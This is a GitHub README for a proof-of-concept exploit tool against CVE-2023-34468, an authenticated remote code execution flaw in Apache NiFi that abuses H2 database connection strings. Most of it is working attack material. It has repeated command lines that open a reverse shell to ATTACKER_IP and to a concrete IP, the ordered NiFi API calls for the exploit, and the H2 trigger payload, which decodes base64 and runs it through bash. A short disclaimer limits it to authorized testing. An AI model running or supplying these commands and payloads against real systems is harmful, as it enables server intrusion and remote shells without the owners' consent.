jeanpt/cve-2023-34468CVE-2023-34468 - Apache NiFi H2 RCE PoC
This repository provides a Python-based exploit tool for CVE-2023-34468, a critical remote code execution vulnerability (CVSS 9.8) in Apache NiFi versions 0.0.2 through 1.21.0. It allows authenticated users to execute arbitrary code by manipulating H2 database connection strings with embedded triggers.
⚠️ Warning: For educational and authorized testing purposes only. Unauthorized access to computer systems is illegal.
requests librarync -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Start your listener
nc -lnvp 5555
# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
| Command | Description |
|---|---|
-t, --target | Target NiFi instance URL (required) |
-c, --command | Command to execute (required) |
-lh, --lhost | Listener host for callback (required) |
-lp, --lport | Listener port for callback (required) |
-u, --username | NiFi username (authenticated instances) |
-p, --password | NiFi password (authenticated instances) |
--token | Bearer token (authenticated instances) |
--no-cleanup | Skip cleanup after exploitation |
--delay | Seconds to wait before cleanup (default: 10) |
--driver-path | Override H2 driver jar path (omitted by default) |
Verification: Check your listener for the reverse shell connection. Run id to confirm code execution.
/nifi-api/system-diagnostics/nifi-api/process-groups/root/controller-services/nifi-api/controller-services/{id}/run-status with state ENABLED/nifi-api/processors/{id}/run-status with state RUNNING — H2 trigger fires on connectionjdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
Key points:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (auto-triggered)# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
This tool is provided for security research and authorized testing only. The author is not responsible for misuse or damage caused by this exploit. Always test responsibly in authorized environments only.
MIT License - See LICENSE file for details
Built for security research and authorized penetration testing.
Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research